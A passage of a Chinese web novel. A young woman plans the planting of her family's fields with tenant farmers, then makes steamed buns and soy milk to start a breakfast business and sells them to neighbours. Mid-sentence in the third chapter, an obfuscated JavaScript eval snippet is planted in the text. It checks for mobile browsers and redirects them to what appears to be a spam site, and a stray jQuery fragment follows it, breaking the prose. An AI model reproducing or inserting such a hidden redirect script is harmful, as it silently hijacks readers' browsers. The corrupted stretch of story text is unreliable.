鲁家人被牙行的人指点过。别看这宛娘子年纪不大,却是个有成算的。前头那家佃户以为她年幼糊弄她,被直接告到了县衙,如今进了流民营服役。 便是唐宛不来,鲁家人也不敢松懈,今日她来了,鲁家人更要表态。 鲁大山作为鲁家的大儿子,闻言正色道:“娘子放心,既然接了这活儿,我们一定当作自家田地来伺候。咱虽然是庄户人,也期盼着后辈能有出息,绝对不做那昧良心的事,把自家的名声抹黑了。” “正是。”鲁大河、鲁大海也在一旁点头附和,“娘子放心,田是您家的,可收成咱也有份,我们都盼着越种越好。” 唐宛要的就是这句话,此刻再没什么不放心的。 鲁家人喝了茶吃了饼便继续忙活去了,唐宛则坐在地头看了会儿。 倒不是为了监工,纯粹是出于对当下农耕技术的好奇。 17. 采买准备 昨日鲁家人就跟唐宛说过今年的耕种思路,打算采取“芝麻、豆、谷”轮作的方式来养地。 芝麻根系发达,入土深,能疏松板结的土壤;大豆的根须上会长出根瘤菌,能固氮养地,提升地力。两者轮种下来,七月便可收获,正好为八月种小麦打好基础。 眼下他们要将土地先浅耕一遍,去掉土里去年的根茬,再深耕一次,便可整田播芝麻。 鲁老汉做主,召了全家老小都来帮忙,分工井然:有人在前头砍草开路,有人扶梨翻地,还有人一担担背着干粪撒下,再用锄头抡匀、耙齿拨土,干得热火朝天。 唐宛坐在田埂边,姿态随意,却仔仔细细地戴好了一顶斗笠。 三四月的太阳不算毒,却也炽炽地照着头顶,她从前算是半个公众人物,比较在意自己的颜值,出门在外习惯了防晒。 她目光沿着田埂扫过去,只见鲁家人身后的几垄地已翻得平整,湿润润的,泛着新土的气息。 几个小一点的孩子还坐在田埂上,捧着她带来的馅饼儿吃。鲁家人今日自带了饼子,见唐宛带的饼子是肉馅儿的,大人便都没怎么舍得吃,宁愿省给孩子吃。 孩子们也不辜负这口稀罕的,吃得格外小心,一边吃一边用两只手小心托着,生怕掉下一点肉馅。 他们时不时低声讨论什么,眼里亮晶晶的,偶尔看一眼唐宛,又飞快缩回去。 唐宛朝他们笑了笑,几个孩子脸一红,立马低头,耳朵都红了。 这时,忽然有个孩子惊叫:“快看!那里有只灰兔子,好肥!” 众人一愣,纷纷朝他手指的方向看去。 果然,几丈外一处矮草堆里,一个灰扑扑的身影猛地窜了出来,唰唰几下,三蹦两跳就钻进了远处的土丘后头,只剩一丛草在晃。 “嘿,还真有兔子!”正在附近砍草的鲁有良听到动静,停了手里的砍刀看过去,疑惑道:“这大白天的,还这么多人,兔子也敢靠近?” 几个孩子三两口吃完剩下的饼子,欢呼着跑过去,扒开草丛寻找。鲁有良倒是没放下手里的活儿,却不时踮起脚朝那边张望几眼。 鲁有良是鲁家长房的长孙,今年才十四岁,年纪不大却很沉稳。他个子中等,精瘦精瘦的,脸晒得有点黑,眼睛却清亮明净。 看得出虽然读书比不上两个堂弟,却也不是个木讷的人。 唐宛虽吃过兔肉,却从没见过真正的野兔呢,忍不住跟着孩子们往那边去看了看。 那片土丘上杂草繁茂,里头有不少乱石。几个孩子翻遍了草丛,却连根兔毛都没见着。 鲁有良笑道:“回来吧,别找了。怕是钻哪块石头缝里去了,这东西贼精,不好逮。” 唐宛便是没找到兔子也觉得有趣,问他:“这里的兔子多吗?” “往年少见,今年确实多些,我这几天都碰上两三回了。”鲁有良说着皱了皱眉,“这东西最喜欢啃幼苗,看来我们得警醒些了。” 说着,他对那几个孩子喊道:“别光顾着玩了,回来帮忙。回头我教你们做陷阱,明天放出去看看能不能逮着。” “好呀!大哥教我!” 几个孩子顿时兴奋起来,兜个圈子又跑回来,围着鲁有良七嘴八舌地问怎么做陷阱。 唐宛觉得新鲜,也在一旁听得认真。 她忽然想起此行还有一桩正事,便抬手指了指旁边那块地势稍高、微有坡度的地,问鲁有良:“那边是不是准备开出来准备种菜的?” 鲁有良点了点头,唐宛顺势问他:“都打算种些什么?” 鲁有良道:“因娘子说过种类尽量多些,我们就想着,往年咱家种过的,今年到了节气就照样种着。没种过的,别家要是有,娘子想种的,我们也会去找种子来试试。” 接着他便细数起几样常见的:“像是茄子、萝卜、白菜、豆角、黄瓜、丝瓜、苋菜这些,咱家都留有种子的。” 唐宛点点头,又道:“像是生姜、大蒜、小葱,还有茱萸、元荽、甜菜根等,都种些吧,我有用处。” 鲁有良都认真记下:“好,我一会儿跟我娘说。娘子要是有别的,也尽管吩咐。” 鲁家内部有分工,田里的活儿重,男人来干。地里稍微轻省些,却因为种类复杂需要细致安排,都是女子来负责,不过遇到翻地挑水担肥这些活儿,还是交给男人。 昨日在牙行,唐宛只见了鲁老汉和鲁有良祖孙俩,今日过来,主要就是来认一认鲁家其他人的脸,另一桩,就是来交代地里的种植计划。 安排给鲁家人种的这些菜,都是北境常见的作物,适应本地气候,种起来不难。 像是生姜、大蒜、甜菜根这种,虽不是家家户户都种,在市面上偶尔也能见着,她昨儿问了,果然能种,当然要安排起来。 尤其是甜菜根,在北地用来制糖,是替代甘蔗的重要原料。寻常人家不懂制糖的工艺,也没那个精力,从种植到熬糖全靠手工,费时又费力,大多百姓吃糖还是从铺子或小贩那儿花钱买。 但唐宛打算重拾做美食的老本行,有些关键的原材料必须掌握在自己手里。 糖,就是其中之一。 她来时已经大致算好了,葱姜蒜之类的不必太大规模,够用即可;甜菜则是多多益善。她便特意交代:“开出来的新地,一半种刚刚你说的那些,一半专门种甜菜吧。” 鲁有良虽然疑惑她要那么多甜菜做什么,不过却多问,只暗自记下,回头跟阿爷说。 唐宛说完来意,就打算回去了。她站起来,拍一拍身上的尘土,抬眼望出去。 唐家的军田旁边临着一条河,便是饮马河。河水清澈见底,远处连接着雪山和森林,水势尚算丰沛。 唐宛想起什么,忽然问:“这一带有人种水稻吗?” 鲁有良愣了一下,摇头道:“没有。咱们北境吃的稻米都是南边运来的。听我爹说,水稻吃水,咱们这边没水田不说,时不时还要来一阵倒春寒,水稻幼苗活不成,种不起来。” 看来,是有人尝试过才得出的结论。 话虽如此,唐宛却知道,在经过无数先辈的技术改良之后,北方也是可以盛产水稻的。 她本是南方人,虽然面食也吃得惯,时间久了难免会想念米饭。 眼下却只能想一想而已。 眼看着日头偏西,唐宛办完了正事儿,就不多耽搁,跟鲁家人道别。 “今后这边就托付给大家了,我这会儿就先回城了,免得晚了不安全。” 鲁大山闻言,连忙道:“那就让大郎送你一程吧,这几日确实有些不太平。” 北狄人上次袭扰怀戎县,被他们的守兵击退了,他们并未善罢甘休,听说辗转去了临县,沿途糟蹋了不少地方,闹得人心惶惶的。 唐宛听了连忙摆手:“不用。赶骡车的大叔跟我一块儿,待会儿路上还会搭别的客人,结伴回去挺安全的。” 她说着看了鲁有良一眼,这才是个真正的孩子呢,里芯是个完全成年人的唐宛可不想靠一个十四岁少年来保护。 再说了,倘若真的不幸遇到北狄人,他又能保护自己什么,怕是平白多了一个受害者。 鲁大山瞧了瞧等在道边的骡车,看着天色确实尚早,便只好点了点头:“也好,那你路上留神。” 唐宛点头应下,拿好空的篮子和陶罐,正要上骡车时,余光扫见地头一处垛子,心中一动,对赶车大叔道:“您再等我一会儿,我带些东西回去。” 说着招呼鲁有良过来搭把手。 两人一道在草垛中翻拣,拣出了两大合抱干净整齐、长短均匀的麦秆,顺手用麦秆编了草绳,绑好扎紧放在骡车上。 “你这麦秆要做什么用?”鲁有良好奇地问。 唐宛不瞒他:“昨日我把父亲用过的弓箭找出来,想在家练练射箭,回头用这些麦秆编个箭靶。” 鲁有良听了,眼神微亮:“你还会射箭?” 唐宛道:“不太会,这不就想着练练看吗?” 鲁有良若有所思,这几日北狄人袭扰,虽然没有去他们村,但传来传去的消息总让人内心有些不安。 要不,回家时顺道去村中猎户家问问,看看能不能托他帮忙做把竹箭,平时带在身边防身用? 鲁有良心里想什么 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若是在现代,不管打算做酱、酿酒还是制糖,只要钱砸下去、设备一到,即刻就能开工,可如今的情况,无论人手、物料还是本钱,几乎都是从零开始,万事都得量力而行。 唐宛现阶段的目标是先挣些快钱,等攒出第一桶金才能做其他的。 经过这段时间的观察,她觉得怀戎县最适合自己的创业方式,莫过于做早餐了。 怀戎县百姓多是军户出身,田地都在城外,加之临近大营,每日天不亮,路上都是出城干活的百姓、操练的士兵。这些人很少在家吃了再走的,多半图方便在路上随便买点吃的。 虽然已经有不少早餐摊位,唐宛看得出,这个市场还是很大余量的。 主意已定,唐宛让弟弟继续守着摊子,她自己则四处张罗采买。 她在粮店买了两袋新磨的白面,又买了几十斤颗粒饱满的黄豆,还跑了一趟药铺,买了几味辅料。 买来的东西先堆在唐睦的摊位旁边,自己腾出手来,又去买了四个崭新的竹筐,和几个跟自家灶头匹配的蒸屉。 最后依旧是麻烦早前那个赶骡车的大叔,帮忙将东西一并送到家中。 唐睦见她买了这么多东西,当然好奇:“阿姊,你这是打算做什么呢?” 唐宛随口道:“我打算早上卖包子,再磨些豆浆一起搭着卖。” 唐睦听了心里难免有些打鼓。 包子倒还好,虽然没做过,但这几日阿姊做过馅儿饼,还做得有模有样,滋味也很好,想来应该大差不差。 可是…… “豆浆?咱家从来没做过,你会做吗?” 唐宛道:“这个容易,把豆子磨出来,滤出豆渣,加水煮一煮就成。” 难的是做豆腐。 时下虽然有卖豆腐的,但做豆腐的技术不是家家户户都知道,唐宛自己以前做过豆腐,但也只做过几次,在如今的条件下做不做得出,做出来口味如何,都还有待去验证。 倘若她能成功做出来,倒是会多出不少进项来。 即便不跟人家一起卖豆腐,做豆干、霉豆腐、豆腐乳等等,即便不用来挣钱,也可以一饱口福。 她宽慰唐睦道:“没事的,我们今儿先少做些。能不能做成,咱们试试不就知道了吗?要是做坏了,咱就做别的。” 唐睦这才放了心,横竖阿姊买的都是面粉大豆,即便做不成早饭生意,日后也总用得上,倒也不算浪费。 到家后,趁着天色还亮,唐宛把豆子拣了拣,淘洗干净了泡在木桶里。 初次尝试,她没多做,只浸了三四斤豆子,吃饭的大陶碗挖了三平碗的份量。 豆子泡上了,姐弟俩将院子角落堆灰的老石磨抬到井边刷洗干净。 唐宛一早就发现这里有个石磨。 北方人吃面食,虽然大多买现成的面粉,可家家户户也备着石磨,偶尔磨些玉米碴子之类的东西。 唐宛看着被清洗干净的石磨,心中有些恍惚。 她都多久没用过石磨了? 印象中还是很小的时候,在老家跟奶奶一起用石磨磨糯米,记忆中糯米粉做的汤圆软糯香甜,是童年最深刻的记忆。 18. 包子豆浆 洗净了磨盘,唐宛做了两碗醪糟鸡蛋。 前几日给陆家送鱼汤时,陆家大嫂回赠了一大块红糖砖,唐宛切了两块化进汤里,又甜又暖,喝得人浑身舒坦。 又热了早上特意留下的两个肉馅饼,吃得简单,却很有滋味。 唐睦长这么大,还是第一次吃醪糟,也就是酒酿。毕竟含有少量酒精,唐宛没放很多,其实她买醪糟本就不是单为了吃的,而是另有用途。 饭后,唐宛仔细清洗了双手,回房捧出一个密封的瓦瓮,准备查看其中的情况。 唐睦见状,也忍不住好奇地凑过去。 这个瓦瓮里面是什么东西他不清楚,阿姊神神秘秘地鼓捣了好几天,是用醪糟、面粉加水做的。 见阿姊脸上露出满意的神色,唐睦又走近了些,随即闻到一股淡淡的酒味。 昨儿他闻着这东西,分明还透着一股淡淡的酸。 唐宛伸手进去,将面头轻轻一扯,面团回弹松软,正是她想要的状态。 这是她用干面粉、醪糟加水发出来的老面引子。 这年头没有酵母粉和泡打粉,想发面只能用这种老法子。幸好她以前出于好奇养过一阵老面,前几日在集市上看到有人卖醪糟,心想这玩意迟早要用到,就顺手买了些,回来尝试了一下。 还真叫她弄成功了。 有了这个老面引子,发面就不成问题了。不过这玩意发面没那么快,如果用酵母粉发面,半小时就差不多了,眼下的温度用这个发面,起码需要十个小时,也就是一夜时间。 但老面引子也有好处,发面的时候不会损伤面筋,吃起来会特别劲道,口感更好不说,还能更大程度保留面粉原本的香甜。 唐宛揪出两个鸡蛋大小的引子,用手撕成小块小块的,加水化开后开始加干面粉和面。她没使劲揉,只是揉到盆光手光面光,便盖上木锅盖,放在房间内发酵。 这时节晚上还有点冷,屋里有人气,稍暖和些,有助于面粉发酵。 剩下的老面引子,她又加了些干面粉进去。她打算再接一回面,把这引子养起来,等将这瓦瓮都养满了,再切成小块风干。这样处理过的老面引子可以保存半年,用的时候用温水催发就成了。 忙完这一切,天色也渐渐昏暗下来。 趁着还能视物,姐弟两个又去抬了几桶水,将菜地浇了浇。唐睦有些惊喜地说:“阿姊,这些野葱竟然真的成活了!” 先前他们从城外小树林挖回来的野葱,有些没吃完的,唐宛就顺手种在了菜地里,唐睦原本还不太信能养成,今日看着,竟都挺拔起来,瞧着也比前两日青翠水灵许多。 唐宛也露出几分欣喜。 野葱虽然细小但风味更浓,眼下这时节没多少绿叶菜,能有一口野葱吃也是个调剂。 这法子既然行,以后再多挖些回来种。 到井边洗了手,唐宛便开始盘算着包子要做什么馅儿的。明日只是试做,毕竟不是装备齐全的现代,她得实际上手,亲自走一遍流程,才知道缺什么补什么。 而不是临到阵前手忙脚乱。 今日回城稍晚了些,许多卖菜的小贩早早都收摊了,没看到什么新鲜好物,唐宛只能先看家里还剩些什么。 用来做包子馅儿的话,昨日葛三娘给的那几把酸菜就很不错。 北境冬天漫长苦寒,为了顺利过冬,家家户户都习惯晒菜干、腌咸菜,此刻虽然已经开春,大多数人家却依然还在吃这个,毕竟地里新鲜的菜还没来得及长出来呢。 唐家当然也弄过,只是份量不多,前阵子家里穷困潦倒,什么东西都吃完了,包括那些酸菜。 这些东西去集市上买,倒也不贵,只是平常谁会无事主动往那个方向去想?要不是葛三娘昨日顺手给了一把,唐宛还真没想到这茬。 要不就做酸菜粉丝肉馅儿的。 唐宛从前就爱吃这口。她不是很喜欢吃纯肉馅儿的包子,总感觉有些腻得慌。但倘若是纯素的,又觉得有些寡淡。 所以她历来爱吃这种不同食材混搭在一起,具有丰富口感的馅料。 一想到酸菜的酸、粉丝的滑混合着肉的香,唐宛便齿颊生津,开始泛起了馋。 于是干脆将那酸菜拿出来,用井水泡了。 葛三娘家的酸菜腌得够味,唐宛拿到时稍稍尝过,便想好了吃前一定要浸泡一阵的。粉丝则是前几日在集上买的,红薯粉非常筋道,同样得先泡软。 一切安排妥当,横竖晚上没有其他消遣,唐宛便打算洗洗睡了。 不过烧水准备擦洗的时候,想到今日跑了一趟城外,出了些汗,她就没忍住洗了头发。 及腰的长发洗净晾干属实不易,没有专用的洗发露,不论洗衣洗澡都使用一种名为澡豆的皂角树果实。这种果实遇水揉搓确实起泡,类似肥皂水的作用,但用起来实在不便,加上晾干耗费了不少时间,唐宛忍不住又开始想念起现代的吹风机来。 然而多想无益,只庆幸此刻不是那严寒的冬日,勤快擦拭着,倒不至于着凉。吹风机没什么指望,香皂或沐浴用品倒是可以期待一番,却也不是短时间能弄出来的。 次日天不亮,唐宛便早早起了床。 她先去查看昨晚发好的面团,揭开锅盖,一股浓郁的面香扑鼻而来,表面微微鼓起,手指一戳一个洞,内里质地松软,发得非常漂亮。 唐宛很满意这个状态,这时候加入适量的碱,掺入面团中和酸味。 重新揉好面后,开始准备馅料。 她将昨日买的五花肉洗净切块,加入切好的野葱段一同剁碎,又往里加了些提前泡好的生姜花椒水,泼上一勺热油,肉馅顿时香气四溢。 之后将浸泡的酸菜捞出来,切得细细的,粉丝也给切成碎段,一并加入肉馅中搅拌均匀。 馅料调好,她又转战案板。 面团分成差不多大小的剂子,擀成面皮,唐宛正要开始包包子,便看见唐睦揉着眼睛,顶着一头乱发从房里走出来。 “阿姊,今天起这么早啊?” 唐宛并非刻意早起,实在是晚上睡得早。闻言抬头看了弟弟一眼,笑道,“你困的话,再去睡一会儿吧。” 唐睦却道:“我来帮你。” 看到她手边已经调好的一盆馅料,阿姊都已经在准备包包子了,唐睦哪里还睡得着,双手轻轻拍了拍脸,出去快速漱了口,洗了手脸来帮衬。 虽说北方人多吃面食,但唐家的情况,以前很少吃这种精白面,唐睦贴个饼子还算有经验,包包子却是头一遭。 唐宛也不能表现得太娴熟,故意磕磕绊绊地包出了几个不太像样的,一边慢慢包,一边自己总结经验,才慢慢包出漂亮的褶子。 唐睦在一旁看着,觉得自己仿佛看明白了,可手指头不听话,不禁有些沮丧,叹道:“还是阿姊厉害。” 唐宛自己作弊的,当然不会苛求唐睦,只鼓励道:“多练练就好。” 唐睦也觉得如此,便耐心观看揣摩唐宛的手法,十几只包子下来,竟也真包出了比较漂亮的模样。 这样一来,头一屉包子的形状便有些千奇百怪,唐宛也不介意,只笑说:“这屉咱自家吃,横竖味道是一样的。” 唐睦稍稍松了口气,不浪费就好。 姐弟两个一起动手,加上第一天食材准备得不多,很快就包完了。一共包了四十来个,摞了三个蒸屉。 唐宛交代唐睦去灶下烧火,将蒸屉放在灶头蒸上,自己则去查看昨日泡的黄豆。 豆子圆滚滚的,粒粒饱满,看着就喜人。 唐宛用清水洗净几遍,提着豆子走向昨晚便安装好的石磨旁。 这个石磨不同于她小时候用过的丁字形推杆式,而是磨盘旁边一个轴儿,手推的,一个人就能操作,只是费力了些。 唐宛一勺黄豆一勺水的开始磨,发现这个工作比想象中累人得多,才转 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待到豆浆沸腾之时,一股浓郁的豆香味飘出来,袅袅热气中,唐宛不断用锅铲在锅底缓缓滑动,防止糊锅。 但不久之后,锅铲还是开始有些黏滞,这是豆浆在锅底形成一层锅巴了。 这并非坏事,豆浆会因此形成一种独有的柴火香味。 但此时开始就要用小火了。唐宛交代唐睦将灶塘里燃着的木柴都抽出来,只留下炭火温温地煨着。 等豆浆都煮好了,姐弟俩便将蒸屉里的包子都取出来,后面做的昨晚洗干净晾好的新竹篮里。 最先那一屉做得不是很好看的包子则留出来,两人一人拣了一个吃。 若说唐睦先前对卖包子这件事还有些犹豫,此刻包子一入口,便完全转变了想法。 他眼睛亮晶晶的,连声说:“阿姊,这个好好吃。太好吃了,肯定好卖!” 唐宛也咬了一口。 竟然比她以前做的包子都好吃更多! 首先这个面就发得极好,包子皮蓬松暄软,吃得十分香甜,而唐宛又很舍得给料,薄薄的包子皮儿,里头满满的馅料。那馅料本就有三种食材,口感极为丰富,调味又十分到位。 所谓天时地利人和,样样都恰到好处。 唐宛吃了一个,有些意犹未尽,甚至想紧接着再吃一个。 不过还是好奇那豆浆煮得怎么样,到底忍住了,去拿了两个陶碗,舀出两碗豆浆来。 唐睦就着碗口先喝了一口,用力地“嗯”了一声,连声道:“好喝好喝!比以前阿爷在集上买的好喝多了。” 唐宛也喝了一口,满口的香味,没有半分豆腥味,加上独特的柴火气,很有童年记忆中的味道。 “你要加点儿糖吗?”她问唐睦。 唐睦有些意外,还可以加糖吗? 他莫名有些不好意思,不太想承认自己嗜甜,但在阿姊询问的目光中又忍不住轻轻点了点头,低声说:“加点儿吧。” 唐宛看出他的小纠结,嘴角翘了翘,却没有驳了这个小大人的面子,进屋取来红糖砖,给两人的碗里一人切了一小块。 事实上,加了糖的豆浆口味更上一层楼。 唐睦喝得眼睛都眯起来,喝了大半碗时忽然想起来一事,问唐宛:“阿姊,这个包子和豆浆咱们卖多少钱?” 唐宛也想过这个问题:“包子就跟其他摊子差不多的价格吧,两文钱一个,豆浆就咱家这样大小的陶碗,一文钱一碗,加糖两文,怎么样?” 唐睦问这个只为好奇,闻言自然没有异议:“我觉得阿姊做得比外面的都好吃,生意一定会很好的!” 唐宛别的事未必多么自信,但对自己做吃食的手艺还是比较自信的。 闻言并不谦逊,只提醒道:“那咱们快些吃,等吃饱了,趁着天色还不晚,我们去集市上试卖卖看。” 19. 邻里情分 葛三娘一早醒来,躺在炕上就隐约闻到了某种诱人的面香,这会子起了床,正在院中漱口,又有一股浓郁的豆香扑鼻而来,香得人心痒痒的。 她耸了耸鼻尖,这味儿,好像是从隔壁唐家的院墙飘出来的。 两家比邻而居,平时说话声音稍大些都能听个清楚,更别说这会儿整个院子都飘着香。 葛三娘洗了把脸,晾好擦脸的面巾,顺着香气走到两家相接的矮墙边,探头问道:“宛娘,睦哥儿,你们大清早在整什么好吃的呢?都把我馋醒了。” 唐宛听见,也不藏着掖着,毕竟以后要靠这个挣钱,街坊邻里迟早得知道。 她笑着走到院中,回道:“婶子,我想着以后做个早饭的营生,今儿试试手。包了点包子,磨了些豆浆。” 葛三娘闻言越发惊奇:“你这才头一回做吧?” 唐宛点了点头:“可不是?边学边做,前头几个包子就包得不太好看。” 她说着,让唐睦去拿几个包子给葛三娘。 葛三娘一听,连忙摆手:“这哪使得?你们是做买卖的,我哪能随便吃?” 唐宛却道:“今天不是正式卖,先做出来试试味道,本来也想着分给街坊们尝尝。做买卖嘛,也得让大家吃过才知道好不好。” 榆树巷子里住着的邻里多是军户,若是吃得好了,都是日后的主顾。 葛三娘听她说得很有章程,便问:“你们这打算怎么个卖法?” “包子两文钱一个,豆浆一文钱一碗,和集市上卖的一样。”唐宛答得实在。 确实跟外边差不多的价。 葛三娘打眼一看,这包子的个头,仿佛比外头的还要大一圈,闻着也香,便道:“那我就做你们的第一客。睦哥儿,你给婶子拿五个包子、打两碗豆浆。你瑞哥哥昨儿夜里回来了,待会儿就得去大营,反正出去路上也得买着吃。” 唐宛没想到还没出家门就开了张,心里十分感动,自然知道葛三娘是照应她们姐弟。 她忙道:“婶子,这第一锅是试做的,不收您钱。等以后正式做起来,再请婶子多关照。” 葛三娘却笑道:“正因为是第一个客人,才得给钱呢。我占个名头,讨个好彩头,也沾沾你这新生意的喜气。” 说着转身回屋,不多会儿便拿了十二个铜钱出来,隔着院墙递了过来,不由分说,非让唐宛收下。 两家院墙不高,连出门都省了。 唐宛推让不过,便只好承了她的好意,转身亲自去拣了包子,拿大碗装着递过来,却多给了两个,指着单放在一起的两个解释道:“这两个是我和睦哥儿最开始包的,模样不太好看,不过吃起来味道是一样的,婶子若不嫌弃就收着。” 葛三娘本还欲推辞,听她这么一说,便乐呵呵地接下了,仔细对比一番前后做的包子,笑道:“这头几个跟后面做的模样还真差的不止一点点,你们姐弟俩进步还挺快!” 唐宛笑而不语,唐睦则从灶上锅里舀了两碗满满的热豆浆,分两次双手小心翼翼地递过去,待葛三娘稳稳接过,才接口道:“这几个好看的都是阿姊包的,我还得再多练练。” 葛三娘大半心思在这包子豆浆上,刚出笼的包子热腾腾的,舀出来的豆浆也冒着热气,远远闻着就一股说不出的香,这到了眼皮子底下,更是说不出的诱人。 她勉强分神赞道:“睦哥儿也很能干,年纪这么小,就能帮衬你阿姊。” 唐睦被夸得不是很好意思,眼里却泛着笑意。 唐宛笑着嘱咐一句:“婶子家里有没有红糖?这豆浆加点糖喝会更好。” “有有有,我这就去加点试试。”葛三娘一边说着一边将东西送进屋,腾进自家碗盘里,顺手把唐家的三个碗都还回去。 “那婶子您吃着,我们收拾收拾也出去了。” “好嘞!” 唐睦望着葛三娘回屋,眼里还闪着兴奋,小声对唐宛道:“阿姊,咱还没出门呢,就把第一笔生意做成了!” 唐宛看着他一脸激动的样子,笑了笑:“这是葛婶子疼我们。” 虽然第一单是关照、是情分,她也有信心,日后能凭手艺把这关照情分变成真心实意的喜欢。 葛三娘起初确实是抱着关照两个孩子的想法。 她家其实还算过得去,名下的军田打理得很好,陈瑞的饷银也归她管着,葛三娘平时搓麻织布,帮人做鞋、裁剪衣裳,也偶有进项,可日子向来俭省。 陈瑞到了说亲的年纪,虽说暂时还没有相中的人家,可总归就在这两年,到时候聘礼、家具、请酒样样都是花销,这笔钱可不是一时半会儿能攒下来的,葛三娘平日里能省一文是一文。 说是买早饭,其实都是比照陈瑞平时的饭量买的,她自己压根没打算吃。 想着姐弟俩靠这个做营生,邻里邻居的怎么也该搭把手,便象征性地多买了一碗豆浆。 这豆浆倒不贵,一文钱一碗,量大又实在。 葛三娘想着买一碗,尝尝味道,解个馋。一开始没舍得放红糖,端起碗来抿了两口,却着实被这口感惊到了。 宛娘子的手艺确实不错,豆浆滤得干干净净,口感特别丝滑,尝不到丁点儿豆渣,而且喝起来格外浓郁,醇厚的豆香中带着些许柴火的焦香味。 葛三娘一时说不上来这豆浆哪里好,品了半晌,才想出关窍来。 两个小的没做过生意,豆浆里怕是根本没加多少水,这分明是一碗的价,却抵得上外头卖的两碗! 葛三娘顿时为他们担心起来,这么做生意,能有几个赚头?回头得提个醒,别光顾着实诚,亏本了还不知道。 可眼下她也舍不得放下碗,不知不觉半碗豆浆就下了肚。 她想起宛娘子说的加糖更好喝,不禁心里一动,想着试试看也无妨。 横竖剩下的不过半碗,糖也用不了多少。 她回屋掰了小块红糖砖,化进豆浆里,再抿一口,眼睛都亮了,忍不住喟叹出声:“这味儿,真不错!” 葛三娘是个母亲,喝着好东西,第一个念头就是得让孩子也尝尝。 她原本没打算叫醒陈瑞,这孩子在大营里忙完春耕回来,看着模样怕是累得狠了,有心让他多睡会儿。 但这会儿实在想与他分享,便端了豆浆进他屋,也没硬喊人,只坐在炕边,故意喝得响,一边喝一边念叨:“这豆浆怎么煮的?真香,真好喝!” 陈瑞睡得迷迷糊糊,本就闻到隐约的香味,听到这话,先是耳朵动了动,随即鼻子又嗅了嗅,看着便有转醒的迹象。 知儿莫若母。 葛三娘看他开始揉眼睛,便笑着起身,端着豆浆出了屋。 马上就听到陈瑞从后头追出来,边走边耸着鼻子问:“娘,你吃什么好吃的呢?” 葛三娘忍笑:“桌上放着呢,快去洗洗脸。” 陈瑞眼尖,立马瞥见桌上碗里堆着高高的大包子和热气腾腾的豆浆,便乐了,高声答应了,麻溜去院子洗脸去。 不一会儿,便回屋坐下,拿起包子咬了一口。 却是愣了一下。 有酸菜,有肉末,有粉条。这个馅儿,格外的酸爽开胃,第一口就让他眼睛一亮,紧跟着咬下第二口,更香更好吃了! 陈瑞三口两口就干掉一个,满足得不得了,再喝一口旁边的豆浆。 香! 葛三娘也给他弄了块红糖,帮他融进去,加了红糖的豆浆甜丝丝的,和豆香味搭配起来简直绝了。 陈瑞喝得一时没空出声。 葛三娘端着自己那碗豆浆坐在旁边,笑着看孩子吃得欢腾,眼里都是欣慰。 陈瑞这才注意到她的视线,抽空问:“娘,这包子真好吃,你吃了吗?” 葛三娘毫不心虚地点头:“我吃过了。” 陈瑞却不大信,问她:“那你说说,这是什么味儿的?” 葛三娘:“……” 她在旁边看着,只闻到包子很香,还真说不出具体是什么。 陈瑞看她迟疑,还有什么不明白的,立刻拿了一个包子往她手里塞。 “你也吃!这么多呢,你还怕我吃不饱啊?” 葛三娘一贯舍不得吃好东西,平时都省着给孩子吃。 但这包子的香味确实馋人,她知道陈瑞顶多也就吃五个,唐宛今日却额外送了两个,便不再推辞,笑着说:“那我也吃吃看。” 陈瑞催促道:“吃!娘,这包子真的特别香!” 葛三娘咬了一口,也是顿住了。这真是宛娘做的吗?她早上说得真真的,是头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981002|176676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一回做,这难道就是老天爷赏的手艺? 陈瑞三个包子下肚,总算感到了七八分饱,终于想起来问:“娘,这包子哪儿买的?” 他这意思,分明是打算以后都在这家买了。 军中干的都是卖力气的活儿,半大小子吃穷老子,他的胃口一直都挺大,这家包子不止味道好,份量也实惠。 葛三娘笑了笑:“好吃吧?这是隔壁宛娘子做的。” 陈瑞一愣:“是唐家的宛妹妹吗?” “嗯,可不是,一大早就在忙活了。” 陈瑞迟疑道:“可我记得睦哥儿以前跟我说过,他阿姊做饭不怎么好吃。” 两家比邻而居,早些年陈瑞还没袭军户的时候,跟唐睦关系好得很。只是这两年他入伍,待家里的时间少了,便少了往来,但平时路上遇到了,依然很亲近。 葛三娘也隐约听说过这说法,淡淡道:“我看宛娘子自从经历了那事儿后,着实长进不少。” 陈瑞知道,母亲说的是她被陈家退亲的事儿。 他闻言皱了眉,想起什么来,冷哼一声:“那个陈文彦,真是脸都不要了。听说他为了办婚事,打着周家准女婿的名头四处赊欠,还到处哭穷,说家里被唐家掏空了。” 葛三娘一听便来火了:“他还有脸提这事?!” 却说唐家院里,姐弟俩稍稍收拾了碗筷,便准备出去开始第一天的试卖。 四十来个包子,挑出那些不太好看的,还剩三十二个整齐些的。卖给葛三娘五个,余下二十七个,没装满一个篮子。 唐宛看着那些个一开始做的,想了想,索性也一并带上。卖相虽不太好看,撕开便看不出,香还是很香的,可以兜售的时候吸引客流,或让人试吃。倘若真剩下了,回头自家热热再吃掉便是了。 倒是豆浆稍多些,装满了两个陶罐,装进篮子里,拎起来沉甸甸的。 东西不算多,姐弟俩索性一人提一个篮子,拎着出去了。 唐宛边走边琢磨:今儿东西少还算轻巧,可若日后做得多了,单靠两只手怕是拎不动,还得走那么多路,估计还得雇骡车帮忙运送才成。 她心里一盘算,等今日都卖完了,就去寻先前帮忙赶车的那位大叔商量一番。 当然,若能有一辆自家的车当然最好,只是才卖几个包子就想着置车,未免想得太美好了。 她看了眼手里的篮子,嘴角微微扬起,还是脚踏实地,一步一步来吧。 拎着走倒也不是没好处。 榆树巷里住着都是街坊,看着姐弟俩长大的情分,路上遇到打个招呼,看到他们手里拎着的东西多少会问一句。只要被问了,唐宛都会热心招待着试吃,或是真的被味道馋住了,或是出于关照的心思,多少都会买上几个。 这样一路走一路卖,还没走出榆树巷子,包子竟然都卖光了,就连卖相不好的那些,连搭带送的,也都出得一干二净。 只剩豆浆还足,才卖掉半陶罐,另一罐还满着。 